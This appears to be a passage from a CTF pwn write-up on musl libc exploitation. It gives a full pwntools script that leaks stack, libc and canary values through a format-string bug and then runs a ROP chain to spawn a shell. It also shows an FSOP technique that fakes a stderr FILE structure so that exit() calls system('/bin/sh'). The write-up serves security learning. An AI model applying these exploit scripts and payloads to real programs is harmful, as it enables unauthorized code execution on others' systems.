But there's a twist.Musl libc does not support percentage in printf function.So we can't use $ sign to leak value wrt to stack.Also the ld and libc is same in musl as seen through vmmap in gef so only one leak is enough for everything.

Exploitation

After debugging in gef, directly sending "%p%p" gives us libc and stack leak.For canary leak,we have to use "%s" to leak it.Stack address[$RBP-0x8] and libc address in TLS region points to the canary so we can use either of them to leak the canary. In glibc,canary is randomized 8 bytes and has null bytes in the least significant byte to prevent accidental read or write via puts or printf. But in musl, null byte of canary is present at the second lowest significant byte.

gef> x $rbp-0x8
0x7fffffffdf98:	0x88a1c0175ca30004	<-canary

So We have to leak six bytes and then one bytes then reconstruct the canary for rop chain.

from pwn import *
elf = context.binary = ELF("./chall")
context.log_level  = "Debug"
# libc = ELF("/usr/local/musl/lib/libc.so")
libc  = ELF("./libc.so")
# io =process(["./libc.so","./test_patched"])
io = process()
gdbscript ='''
# b *liiik+146
# b *likkkkky+146
b *main+84
'''
# gdb.attach(io,gdbscript=gdbscript)
payload = b"%p%p"
io.sendline(payload)
stack_leak =int(io.recvn(0x8+0x6),0x10)
log.critical(f"stack leak :{hex(stack_leak)}")


io.recvn(0x10-0x8-0x6)
libc_leak =int(io.recvn(0xc),0x10)
log.critical(f"libc leak :{hex(libc_leak)}")

libc.address =libc_leak-0xb1ba4
io.recvuntil(b"strong!!")

payload = b"%p%p%p%p%p%p%p%p"+b"AAAA"+b"%s"+b"%s"
payload+= p64(libc_leak-0x14)
payload+=p64(libc_leak-0x12)

io.sendline(payload)

io.recvuntil(b"AAAA")
canary_lsb = unpack(io.recvn(0x1),"all")
log.critical(f"canary lsb :{hex(canary_lsb)}")


canary_upper_6_bytes = unpack(io.recvn(0x6),"all")
canary = (canary_upper_6_bytes<<16)+canary_lsb
log.critical(f"canary complete :{hex(canary)}")

pop_rdi = libc.address+0x00000000000142a5
system = libc.address+0x4cd40
# bin_sh  = libc.address+0xb2cf0
bin_sh =stack_leak+0x70
ret = libc.address+0x0000000000016cec

# rop_chain =b"A"*0x18+pack(canary)+pack(0x0)+pack(pop_rdi)+pack(bin_sh)+pack(ret)+pack(system)
syscall = libc.address+0x00000000000140c3
pop_rsi = libc.address+0x0000000000015759
pop_rdx= libc.address+0x0000000000029c7b
pop_rax =libc.address+0x00000000000159d6

rop_chain =b"/bin/sh\x00"+b"A"*0x10+pack(canary)+pack(0x0)+pack(pop_rdi)+pack(bin_sh)+pack(pop_rsi)+pack(0x0)+pack(pop_rdx)+pack(0x0)+pack(pop_rax)+pack(0x3b)+pack(syscall)

io.recvuntil(b"warmup!!")
io.sendline(rop_chain)

io.interactive()

FSOP

One week after this,Another musl challenge came in NITE-CTF and I used FSOP to hijack exit handler to execute system("/bin/sh"). First of all let's see the how program exits in musl? For this I am writing a demo program that gives us arbitrary write primitive on stderr and then calls exit(0).

#include <stdio.h>
#include <unistd.h>
int main() {
  printf("stderr :%p\n", stderr);
  read(STDIN_FILENO, stderr, 0x100);
}

Above code prints the address of stderr and then gives the write primitive on stderr. This is the file structure in musl.

gef> ptype struct _IO_FILE
type = struct _IO_FILE {
    unsigned int flags;
    unsigned char *rpos;
    unsigned char *rend;
    int (*close)(FILE *);
    unsigned char *wend;
    unsigned char *wpos;
    unsigned char *mustbezero_1;
    unsigned char *wbase;
    size_t (*read)(FILE *, unsigned char *, size_t);
    size_t (*write)(FILE *, const unsigned char *, size_t);
    off_t (*seek)(FILE *, off_t, int);
    unsigned char *buf;
    size_t buf_size;
    FILE *prev;
    FILE *next;
    int fd;
    int pipe_pid;
    long lockcount;
    int mode;
    volatile int lock;
    int lbf;
    void *cookie;
    off_t off;
    char *getln_buf;
    void *mustbezero_2;
    unsigned char *shend;
    off_t shlim;
    off_t shcnt;
    FILE *prev_locked;
    FILE *next_locked;
    __locale_struct *locale;
}

As you can see there is no vtable in file structure.idk why but ptype/ox in gef which is used to show offsets in file structure is not working,but idt we need it as checks can also be deduced by reading assembly of close_file. This is the stderr file structure in musl.

gef> p/x *(struct _IO_FILE *)stderr
$6 = {
  flags = 0x5,
  rpos = 0x0,
  rend = 0x0,
  close = 0x7ffff7fa4da0,
  wend = 0x0,
  wpos = 0x0,
  mustbezero_1 = 0x0,
  wbase = 0x0,
  read = 0x0,
  write = 0x7ffff7fa4f80,
  seek = 0x7ffff7fa4f70,
  buf = 0x7ffff7ffded8,
  buf_size = 0x0,
  prev = 0x0,
  next = 0x0,
  fd = 0x2,
  pipe_pid = 0x0,
  lockcount = 0x0,
  mode = 0x0,
  lock = 0xffffffff,
  lbf = 0xffffffff,
  cookie = 0x0,
  off = 0x0,
  getln_buf = 0x0,
  mustbezero_2 = 0x0,
  shend = 0x0,
  shlim = 0x0,
  shcnt = 0x0,
  prev_locked = 0x0,
  next_locked = 0x0,
  locale = 0x0
}

_Noreturn void exit(int code)
{
	__funcs_on_exit();
	__libc_exit_fini();
	__stdio_exit();
	_Exit(code);
}

   0x00007ffff7f600c8 <+56>:	call   0x7ffff7f6a930 <__funcs_on_exit>
   0x00007ffff7f600cd <+61>:	call   0x7ffff7fc0d40 <__libc_exit_fini>
   0x00007ffff7f600d2 <+66>:	xor    eax,eax
   0x00007ffff7f600d4 <+68>:	call   0x7ffff7fa4e40 <__stdio_exit>
   0x00007ffff7f600d9 <+73>:	mov    edi,ebx
   0x00007ffff7f600db <+75>:	call   0x7ffff7f6a770 <_Exit>

Above is the disassembly of exit.

_Noreturn void _Exit(int ec)
{
	__syscall(SYS_exit_group, ec);
	for (;;) __syscall(SYS_exit, ec);
}

Upon calling exit,it calls some cleaning functions and then syscall.

Function __stdio_exit()->It cleans the stdin,stdout and stderr.

void __stdio_exit(void)
{
	FILE *f;
	for (f=*__ofl_lock(); f; f=f->next) close_file(f);
	close_file(__stdin_used);
	close_file(__stdout_used);
	close_file(__stderr_used);
}

Dump of assembler code for function __stdio_exit:
   0x00007ffff7fa4e40 <+0>:	endbr64 
   0x00007ffff7fa4e44 <+4>:	push   rbx
   0x00007ffff7fa4e45 <+5>:	call   0x7ffff7fa7f60 <__ofl_lock>
   0x00007ffff7fa4e4a <+10>:	mov    rbx,QWORD PTR [rax]
   0x00007ffff7fa4e4d <+13>:	test   rbx,rbx
   0x00007ffff7fa4e50 <+16>:	je     0x7ffff7fa4e69 <__stdio_exit+41>
   0x00007ffff7fa4e52 <+18>:	nop    WORD PTR [rax+rax*1+0x0]
   0x00007ffff7fa4e58 <+24>:	mov    rdi,rbx
   0x00007ffff7fa4e5b <+27>:	call   0x7ffff7fa4dd0 <close_file>
   0x00007ffff7fa4e60 <+32>:	mov    rbx,QWORD PTR [rbx+0x70]
   0x00007ffff7fa4e64 <+36>:	test   rbx,rbx
   0x00007ffff7fa4e67 <+39>:	jne    0x7ffff7fa4e58 <__stdio_exit+24>
   0x00007ffff7fa4e69 <+41>:	mov    rdi,QWORD PTR [rip+0x56560]  #  <__stdin_used>
   0x00007ffff7fa4e70 <+48>:	call   0x7ffff7fa4dd0 <close_file>
   0x00007ffff7fa4e75 <+53>:	mov    rdi,QWORD PTR [rip+0x5655c]  #  <__stdout_used>
   0x00007ffff7fa4e7c <+60>:	call   0x7ffff7fa4dd0 <close_file>
   0x00007ffff7fa4e81 <+65>:	mov    rdi,QWORD PTR [rip+0x56540]  #  <__stderr_used>
   0x00007ffff7fa4e88 <+72>:	pop    rbx
   0x00007ffff7fa4e89 <+73>:	jmp    0x7ffff7fa4dd0 <close_file>

And this is the close_file() function. As there are very less checks on the file structure, and with arbitrary write primitive,if we control f->wpos ,f->wbase and f->write . We can easily call system by overwritng f->write to system and f->_flags to "/bin/sh".

static void close_file(FILE *f)
{
	if (!f) return;
	FFINALLOCK(f);
	if (f->wpos != f->wbase) f->write(f, 0, 0);
	if (f->rpos != f->rend) f->seek(f, f->rpos-f->rend, SEEK_CUR);
}

This is the assembly of close_file().

   0x00007ffff7fa4dd0 <+0>:	test   rdi,rdi
   0x00007ffff7fa4dd3 <+3>:	je     0x7ffff7fa4e38 <close_file+104>
   0x00007ffff7fa4dd5 <+5>:	push   rbx
   0x00007ffff7fa4dd6 <+6>:	mov    eax,DWORD PTR [rdi+0x8c]
   0x00007ffff7fa4ddc <+12>:	mov    rbx,rdi
   0x00007ffff7fa4ddf <+15>:	test   eax,eax
   0x00007ffff7fa4de1 <+17>:	jns    0x7ffff7fa4e20 <close_file+80>
   0x00007ffff7fa4de3 <+19>:	mov    rax,QWORD PTR [rbx+0x38]
   0x00007ffff7fa4de7 <+23>:	cmp    QWORD PTR [rbx+0x28],rax
   0x00007ffff7fa4deb <+27>:	je     0x7ffff7fa4df7 <close_file+39>
   0x00007ffff7fa4ded <+29>:	xor    edx,edx
   0x00007ffff7fa4def <+31>:	xor    esi,esi
   0x00007ffff7fa4df1 <+33>:	mov    rdi,rbx
   0x00007ffff7fa4df4 <+36>:	call   QWORD PTR [rbx+0x48]
   0x00007ffff7fa4df7 <+39>:	mov    rsi,QWORD PTR [rbx+0x8]
   0x00007ffff7fa4dfb <+43>:	mov    rax,QWORD PTR [rbx+0x10]
   0x00007ffff7fa4dff <+47>:	cmp    rsi,rax
   0x00007ffff7fa4e02 <+50>:	je     0x7ffff7fa4e30 <close_file+96>
   0x00007ffff7fa4e04 <+52>:	sub    rsi,rax
   0x00007ffff7fa4e07 <+55>:	mov    rdi,rbx
   0x00007ffff7fa4e0a <+58>:	mov    rax,QWORD PTR [rbx+0x50]
   0x00007ffff7fa4e0e <+62>:	mov    edx,0x1
   0x00007ffff7fa4e13 <+67>:	pop    rbx
   0x00007ffff7fa4e14 <+68>:	jmp    rax
   0x00007ffff7fa4e16 <+70>:	cs nop WORD PTR [rax+rax*1+0x0]
   0x00007ffff7fa4e20 <+80>:	call   0x7ffff7fa4be0 <__lockfile>
   0x00007ffff7fa4e25 <+85>:	jmp    0x7ffff7fa4de3 <close_file+19>
   0x00007ffff7fa4e27 <+87>:	nop    WORD PTR [rax+rax*1+0x0]
   0x00007ffff7fa4e30 <+96>:	pop    rbx
   0x00007ffff7fa4e31 <+97>:	ret    
   0x00007ffff7fa4e32 <+98>:	nop    WORD PTR [rax+rax*1+0x0]
   0x00007ffff7fa4e38 <+104>:	ret

See this instruction

   0x00007ffff7fa4de3 <+19>:	mov    rax,QWORD PTR [rbx+0x38]
   0x00007ffff7fa4de7 <+23>:	cmp    QWORD PTR [rbx+0x28],rax

this is the equality check of wpos and wbase. and then this call instruction;

   0x00007ffff7fa4df4 <+36>:	call   QWORD PTR [rbx+0x48]

and here is the call to f->write. This is the fake stderr structure which I used to get shell.

system = libc_leak+0x4e0c0-0xad080
fsop = b"/bin/sh\x00"#0x0
fsop +=pack(0x0)*4#0x20
fsop+=pack(0x0)#0x28
fsop+=pack(0x0)#0x30
fsop+=pack(0x1)#0x38
fsop+=pack(0x0)#0x40
fsop+=pack(system)#0x48

DeepShii

This is just the first part of the musl pwn series. Also this is not complete. Maybe I'll update it asap.